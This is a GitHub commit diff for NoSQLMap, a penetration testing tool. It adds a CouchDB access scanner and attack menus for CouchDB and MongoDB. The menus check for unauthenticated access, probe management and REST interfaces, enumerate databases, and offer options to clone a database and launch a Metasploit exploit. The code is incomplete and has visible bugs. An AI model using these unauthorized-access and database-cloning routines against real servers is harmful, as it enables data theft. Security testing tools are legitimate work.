Skip to content

Commit e86807e

Browse files
tcstooltcstool
tcstool
authored and
tcstool
committed
Finish CouchDB Scanner and NetAttacks start
1 parent 4b33bf2 commit e86807e

File tree

4 files changed

+259
-14
lines changed

4 files changed

+259
-14
lines changed

‎nosqlmap.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1646,7 +1646,7 @@ def massScan():
16461646
result = accessCheck(target.rstrip(),27017,ping)
16471647

16481648
elif platform == "CouchDB":
1649-
result = nsmcouch.couchScan(target.rstrip,5984,ping)
1649+
result = nsmcouch.couchScan(target.rstrip(),5984,ping)
16501650

16511651
if result[0] == 0:
16521652
print "Successful default access on " + target.rstrip() + "(" + platform + " Version: " + result[1] + ")."

‎nsmcouch.py‎

Lines changed: 116 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,22 @@
11
#!/usr/bin/python
2+
#NoSQLMap Copyright 2014 Russell Butturini
3+
#This program is free software: you can redistribute it and/or modify
4+
# it under the terms of the GNU General Public License as published by
5+
#the Free Software Foundation, either version 3 of the License, or
6+
#(at your option) any later version.
7+
8+
#This program is distributed in the hope that it will be useful,
9+
#but WITHOUT ANY WARRANTY; without even the implied warranty of
10+
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11+
#GNU General Public License for more details.
12+
13+
#You should have received a copy of the GNU General Public License
14+
#along with this program. If not, see <http://www.gnu.org/licenses/>.
15+
16+
217

318
import couchdb
19+
import urllib
420

521

622
def couchScan(target,port,pingIt):
@@ -9,7 +25,7 @@ def couchScan(target,port,pingIt):
925

1026
if test == 0:
1127
try:
12-
conn = couchdb.Server("http://" + str(target) + ":5984/")
28+
conn = couchdb.Server("http://" + str(target) + ":5984/", timeout=4000)
1329

1430
try:
1531
dbVer = conn.version()
@@ -18,12 +34,10 @@ def couchScan(target,port,pingIt):
1834
except couchdb.http.Unauthorized:
1935
return [1,None]
2036

21-
except Exception, e:
22-
print e
37+
except:
2338
return [2,None]
2439

25-
except Exception, e:
26-
print e
40+
except:
2741
return [3,None]
2842

2943
else:
@@ -32,21 +46,110 @@ def couchScan(target,port,pingIt):
3246
else:
3347
try:
3448
conn = couchdb.Server("http://" + str(target) + ":5984/")
35-
print target #debug
36-
3749

3850
try:
39-
print str(conn) #debug
4051
dbVer = conn.version()
4152
return [0,dbVer]
4253

4354
except couchdb.http.Unauthorized:
4455
return [1,None]
4556

46-
except Exception, e:
47-
print e
57+
except:
4858
return [2,None]
4959

50-
except Exception, e:
51-
print e
52-
return [3,None]
60+
except:
61+
return [3,None]
62+
63+
64+
def netAttacks(target,port):
65+
print "DB Access attacks (CouchDB)"
66+
print "======================"
67+
mgtOpen = False
68+
webOpen = False
69+
mgtSelect = True
70+
#This is a global for future use with other modules; may change
71+
dbList = []
72+
73+
print "Checking to see if credentials are needed..."
74+
needCreds = couchScan(target,port,False)
75+
76+
if needCreds[0] == 0:
77+
conn = couchdb.Server("http://" + str(target) + ":5984/")
78+
print "Successful access with no credentials!"
79+
mgtOpen = True
80+
81+
elif needCreds[0] == 1:
82+
print "Login required!"
83+
srvUser = raw_input("Enter server username: ")
84+
srvPass = raw_input("Enter server password: ")
85+
uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":5984/"
86+
87+
try:
88+
conn = couchdb.server(uri)
89+
print "CouchDB authenticated on " + target + ":5984!"
90+
mgtOpen = True
91+
92+
except:
93+
raw_input("Failed to authenticate. Press enter to continue...")
94+
return
95+
96+
elif needCreds[0] == 2:
97+
couchdb.Server("http://" + str(target) + ":5984/")
98+
print "Access check failure. Testing will continue but will be unreliable."
99+
mgtOpen = True
100+
101+
elif needCreds[0] == 3:
102+
print "Couldn't connect to CouchDB server."
103+
return
104+
105+
106+
mgtUrl = "http://" + target + ":5984/_utils"
107+
#Future rev: Add web management interface parsing
108+
try:
109+
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
110+
if mgtRespCode == 200:
111+
print "Sofa web management open at " + mgtUrl + ". No authentication required!"
112+
113+
except:
114+
print "MongoDB web management closed or requires authentication."
115+
116+
if mgtOpen == True:
117+
while mgtSelect:
118+
print "\n"
119+
print "1-Get Server Version and Platform"
120+
print "2-Enumerate Databases/Collections/Users"
121+
print "3-Check for Attachments"
122+
print "4-Clone a Database"
123+
print "5-Return to Main Menu"
124+
attack = raw_input("Select an attack: ")
125+
126+
if attack == "1":
127+
print "\n"
128+
getPlatInfo(conn)
129+
130+
if attack == "2":
131+
print "\n"
132+
enumDbs(conn)
133+
134+
if attack == "3":
135+
print "\n"
136+
enumGrid(conn)
137+
138+
if attack == "4":
139+
if optionSet[4] == False:
140+
print "Target database not set!"
141+
142+
else:
143+
print "\n"
144+
stealDBs(myIP,conn)
145+
146+
if attack == "6":
147+
return
148+
149+
def getPlatInfo(couchConn):
150+
print "Server Info:"
151+
print "CouchDB Version: " + couchConn.version()
152+
print "Configuration File:\n"
153+
print str(urllib.urlopen("http://" + target + ":5984/_config"))
154+
print "\n"
155+
return

‎nsmmongo.py‎

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
#!/usr/bin/python
2+
#NoSQLMap Copyright 2014 Russell Butturini
3+
#This program is free software: you can redistribute it and/or modify
4+
# it under the terms of the GNU General Public License as published by
5+
#the Free Software Foundation, either version 3 of the License, or
6+
#(at your option) any later version.
7+
8+
#This program is distributed in the hope that it will be useful,
9+
#but WITHOUT ANY WARRANTY; without even the implied warranty of
10+
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11+
#GNU General Public License for more details.
12+
13+
#You should have received a copy of the GNU General Public License
14+
#along with this program. If not, see <http://www.gnu.org/licenses/>.
15+
import pymongo
16+
import urllib
17+
18+
def netAttacks(target, port):
19+
print "DB Access attacks (MongoDB)"
20+
print "================="
21+
mgtOpen = False
22+
webOpen = False
23+
mgtSelect = True
24+
#This is a global for future use with other modules; may change
25+
global dbList
26+
global dbPort
27+
dbList = []
28+
29+
print "Checking to see if credentials are needed..."
30+
needCreds = accessCheck(target,dbPort,False)
31+
32+
if needCreds[0] == 0:
33+
conn = pymongo.MongoClient(target,dbPort)
34+
print "Successful access with no credentials!"
35+
mgtOpen = True
36+
37+
elif needCreds[0] == 1:
38+
print "Login required!"
39+
srvUser = raw_input("Enter server username: ")
40+
srvPass = raw_input("Enter server password: ")
41+
uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/"
42+
43+
try:
44+
conn = pymongo.MongoClient(target)
45+
print "MongoDB authenticated on " + target + ":27017!"
46+
mgtOpen = True
47+
except:
48+
raw_input("Failed to authenticate. Press enter to continue...")
49+
return
50+
51+
elif needCreds[0] == 2:
52+
conn = pymongo.MongoClient(target,dbPort)
53+
print "Access check failure. Testing will continue but will be unreliable."
54+
mgtOpen = True
55+
56+
elif needCreds[0] == 3:
57+
print "Couldn't connect to Mongo server."
58+
return
59+
60+
61+
mgtUrl = "http://" + target + ":28017"
62+
#Future rev: Add web management interface parsing
63+
64+
try:
65+
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
66+
if mgtRespCode == 200:
67+
print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
68+
testRest = raw_input("Start tests for REST Interface (y/n)? ")
69+
70+
if testRest in yes_tag:
71+
restUrl = mgtUrl + "/listDatabases?text=1"
72+
restResp = urllib.urlopen(restUrl).read()
73+
restOn = restResp.find('REST is not enabled.')
74+
75+
if restOn == -1:
76+
print "REST interface enabled!"
77+
dbs = json.loads(restResp)
78+
menuItem = 1
79+
print "List of databases from REST API:"
80+
81+
for x in range(0,len(dbs['databases'])):
82+
dbTemp= dbs['databases'][x]['name']
83+
print str(menuItem) + "-" + dbTemp
84+
menuItem += 1
85+
else:
86+
print "REST interface not enabled."
87+
print "\n"
88+
89+
except:
90+
print "MongoDB web management closed or requires authentication."
91+
92+
if mgtOpen == True:
93+
94+
while mgtSelect:
95+
print "\n"
96+
print "1-Get Server Version and Platform"
97+
print "2-Enumerate Databases/Collections/Users"
98+
print "3-Check for GridFS"
99+
print "4-Clone a Database"
100+
print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
101+
print "6-Return to Main Menu"
102+
attack = raw_input("Select an attack: ")
103+
104+
if attack == "1":
105+
print "\n"
106+
getPlatInfo(conn)
107+
108+
if attack == "2":
109+
print "\n"
110+
enumDbs(conn)
111+
112+
if attack == "3":
113+
print "\n"
114+
enumGrid(conn)
115+
116+
if attack == "4":
117+
if optionSet[4] == False:
118+
print "Target database not set!"
119+
else:
120+
print "\n"
121+
stealDBs(myIP,conn)
122+
123+
if attack == "5":
124+
print "\n"
125+
msfLaunch()
126+
127+
if attack == "6":
128+
return

‎setup.sh‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,18 @@
11
#!/bin/bash
2+
#NoSQLMap Copyright 2014 Russell Butturini
3+
#This program is free software: you can redistribute it and/or modify
4+
# it under the terms of the GNU General Public License as published by
5+
#the Free Software Foundation, either version 3 of the License, or
6+
#(at your option) any later version.
7+
8+
#This program is distributed in the hope that it will be useful,
9+
#but WITHOUT ANY WARRANTY; without even the implied warranty of
10+
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11+
#GNU General Public License for more details.
12+
13+
#You should have received a copy of the GNU General Public License
14+
#along with this program. If not, see <http://www.gnu.org/licenses/>.
15+
216
echo "This setup script will install pip and use it to load the necessary Python dependencies for NoSQLMap on Red Hat and Debian based systems."
317
echo "It is EXPERIMENTAL and messes with your system. Use at your own risk!!!"
418
echo "As far as installing Metasploit, you're on your own."

0 commit comments

Comments
 (0)